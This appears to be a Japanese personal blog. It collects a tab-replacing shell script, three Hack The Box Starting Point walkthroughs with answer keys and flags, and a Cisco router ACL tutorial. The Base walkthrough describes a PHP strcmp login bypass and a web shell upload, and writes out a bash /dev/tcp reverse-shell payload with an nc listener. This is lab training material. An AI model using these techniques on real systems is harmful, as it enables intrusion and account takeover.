ターミナルで使えるコマンドを自作する
普段から"vim"と呼ばれるエディタを使い作業をしているのだが、設定でタブを空白2文字にしている。そのせいで、catコマンドでファイルを閲覧する際には、tabが空白4文字になってしまい幅をとってしまう(→見づらい)。今までは、以下のように"sed"コマンドをパイプしていたが面倒なので、この度コマンドを自作することにした。
How to Make A COMMAND
次にファイル名をコマンド名として、以下の要領でシェルスクリプトを書く。
(vimを使わなくても良い) vim cattab
#!/bin/bash if [[ $1 = "" ]]; then #引数がない場合 echo "Error : You nedd 1 argument" 1>&2 exit 2 else cat $1 | sed 's/\t/ /g' #catコマンドとsedコマンドの処理を書く fi
(1)bashの場合
sudo vim ~/.bashrc export PATH=$HOME/my_command:$PATH
(2)zshの場合
sudo vim ~/.zshrc export PATH=$HOME/my_command:$PATH
すると以下のように、自作コマンドを叩けるようになる。
Hack The Box (starting point #3) : Base
Hack The Boxのチュートリアルである「Base」を攻略したいと思う。
Walkthrough
初手、"nmap"コマンドでポートスキャンをかける。
すると、22番および80番ポートが開いていることがわかる。(タスク1)
Webページに飛び、ログインページを開く。(タスク2)
"/login"ディレクトリには、以下の3つのファイルがある。編集途中で切断されたと思われるSwapファイル(拡張子: .swp)がある。(タスク3,4)
"login.php.swp"を開いてみると、以下のような内容があり、strcmp関数で比較を行っていることがわかる。(タスク5)
文字列型で比較を行っているため、"password"変数を配列型にすると、strcmpはNULLを返し、"=="を使うことで厳密な比較(数値、型)を行わないため"NULL==0"となり、ユーザー名とパスワードを回避することができる。
以下の要領でBurpsuiteを用いて編集し、forwardする。
すると、ログインが成功する。
以下のようなシェルを乗っとるためのスクリプトを書き、先ほどのアップロードボタンからアップロードする。
これを行うことで、URLのパラメータを変えるだけで任意のコマンドを実行できるようになる。以下の画像では、下の方に"john"というユーザーが存在している事がわかる。(タスク7)
また以下の要領で、リバースシェルを獲得するためのペイロードをBurpsuiteを用いて、POSTメソッドで送る。
(1)リスナーを起動(ターミナルから操作)
(次のコマンドでリスナーを起動する) sudo nc -lvnp 443
(2)ペイロード作成
("cmd"パラメータを変更する) /bin/bash+-c+'bash+-i+>%26+/dev/tcp/IP_Address/443+0>%261'
すると、(1)のターミナルが以下のようになり、"config.php"が見つかる。(タスク8)
このターミナルからではユーザー"john"に昇格できなかったため、22番ポートのsshを利用する。(User Flag)
調べるとユーザー"john"は、"find"コマンドを利用できる事が分かるので、以下のようにするとroot権限を得られる。(タスク9,10,Root Flag)
Answer
Task1 : 22,80
Task2 : /login/login.php
Task3 : 3
Task4 : .swp
Task5 : strcmp()
Task6 : /_uploaded
Task7 : john
Task8 : thisisagoodpassword
Task9 : /usr/bin/find
Task10 : exec
User Flag : f54846c258f3b4612f78a819573d158e
Root Flag : 51709519ea18ab37dd6fc58096bea949
Hack The Box (starting point #2) : ignition
Hack The Boxのチュートリアルである「ignition」について攻略したいと思う。
Walkthrough
まず、"nmap"コマンドでポートのスキャンを行う。
すると、80番ポート(httpポート)で、"nginx 1.14.2"が立ち上がっていることが分かる。(タスク1)
ここで、"wget"コマンドで、サイトのデータを取得してみる。(タスク2,3)
「ホストアドレス 'ignition.htb' を解決できませんでした」とあるので名前解決ができていないことがわかる。そのため、ドメインとIPアドレスを紐付ける。(タスク4)
sudo vim /etc/hosts
以下のような要領で、IPとドメインを入力する。
保存して、ブラウザを更新すると、Webページが表示される。
タスク5のヒントは、ディレクトリのブルートフォースなので、"gobuster"を使うのかと考えたけれど、どうやら違うっぽい。"dirb"と呼ばれるツールを用いる。
dirb http://ignition.htb/
ファジングによって、"/admin"が怪しいことが分かる。(タスク5)
結局のところ、パスワードの推測方法はわからなかったのだけれど、「2021年に使われたパスワード top200」とかでググって、条件に引っかかるものを試すらしい。(タスク6)
最後に、ログインすると、以下のような画面が表示される。中央付近にフラグが表示されていることが分かる。(Flag)
Answer
Task1 : nginx 1.14.2
Task2 : 302
Task3 : ignition.htb
Task4 : /etc/hosts
Task5 : http://ignition.htb/admin
Task6 : qwerty123
Flag : 797d6c988d9dc5865e010b9410f247e0
Hack The Box (starting point #1) : Redeemer
Hack The Boxのチュートリアルである「Redeemer」について攻略したいと思う。尚、英語の記事は大量にあるので、日本語で行いたいと思う。
Walkthrough
まず、タスク1として、どのTCPポートが開いているかを、nmapコマンドを用いて確認する。デフォルトスキャンでは、見つけられないので、pオプションで10kくらい選択してみる。
nmap -Pn -p1-9999 10.129.102.111
すると、TCPの6379ポートで、redis の5.0.7が稼働していることがわかる。(タスク1,2)
Redisについてグーグルで調べてみると、インメモリデータベースを扱えて、Redisのコマンドとして"redis-cli"を使っていることがわかる。(タスク3,4)
次にタスク5として、特定のredisサービスに接続する際には次のように指定する。(タスク5)
redis-cli -h 10.129.102.111 -p 6379
マシンに入ったら、"info"と打つことで詳細な情報を得ることができる。(タスク6,7)
様々な種類のデータベースについてあまり知識はないのだが、データベースを選択する際には、ほとんどの種類で"select"を使うのではないかと思う。(タスク8)
データベース内の「キー」について、"keys * "を叩くことで、キー一覧を全表示することができる。(タスク9,10)
FLAGテーブル?、テーブルという表現が正しいのか正直よくわからないが、次のコマンドでその中身を確認できる。
get flag
すると、フラグを得ることができる。
Answer
Task1 : 6379
Task2 : redis
Task3 : In-memory Database
Task4 : redis-cli
Task5 : -h
Task6 : info
Task7 : 5.0.7
Task8 : select
Task9 : 4
Task10 : KEYS *
Flag : 03e1d2b376c37ab3f5319922053953eb
ネットワーク初心者のネットワーク構築(2)
前回に引き続き、ネットワークを構築したいと思う。使用した機器(ルータ1台(Cisco 1812-J)、スイッチ2台(Catalyst 2960G))と簡単な接続図は、以下の通り。目標は、異なるLANの接続を拒否するようなネットワークの構築として、Pingが通ることを確認した。尚、どちらのLANもインターネットに接続できるように設定したい。
前提として
今回の内容は、前回の設定に対して設定を加えた。そのため、前提条件として、PC1~4が相互に接続できる環境とする。
ルーターの設定
今回は、ルーターのみの設定となる。Ciscoのルーターには、ACL(Access Control List)と呼ばれる、特定のIPアドレスだけ通過させるような条件を記述できる(ファイヤーウォールみたいなもの)。上の図であれば、左側のLANには右側のLANを接続させないようにするため、右側の192.168.20.XのIPアドレスを拒否(deny)するようにACLリストに設定する。
いま、始めの図における右側のLANがFE0ポート(下)、左側のLANがFE1ポート(上)に接続されている。
まず、左側のLANとしては、インターネットに接続できる(FE1を通過する)が、右側のLANを通したくないので、FE0に対して設定を行う。
(1)設定モードに入る
Router> en Router# configure terminal
(2)2つ目のACLを記述する
Router(config)# access-list 2 deny host 192.168.10.1 Router(config)# access-list 2 deny host 192.168.10.2 Router(config)# access-list 2 permit host 192.168.20.1 Router(config)# access-list 2 permit host 192.168.20.2
(3)FE0ポートにアウトバウンドACLを適用する
Router(config)# int fastethernet 0 Router(config-if)# ip access-group 2 out Router(config-if)# exit
次に、右側のLANとしては、インターネットに接続できる(FE0を通過する)が、左側のLANを通したくないので、FE1に対して設定を行う。
(1)設定モードに入る
Router> en Router# configure terminal
(2)1つ目のACLを記述する
Router(config)# access-list 1 deny host 192.168.20.1 Router(config)# access-list 1 deny host 192.168.20.2 Router(config)# access-list 1 permit host 192.168.10.1 Router(config)# access-list 1 permit host 192.168.10.2
(3)FE1ポートにアウトバウンドACLを適用する
Router(config)# int fastethernet 1 Router(config-if)# ip access-group 1 out Router(config-if)# exit
最後に次のコマンドで設定を確認する。
Router# show running-config
以下のような出力があればOK。
接続確認(Pingを投げる)
PC2からPC1へのPing(接続許可)
PC2からPC3へのPing(接続拒否)
PC2からPC4へのPing(接続拒否)
PC3からPC1へのPing(接続拒否)
PC3からPC2へのPing(接続拒否)
PC3からPC4へのPing(接続許可)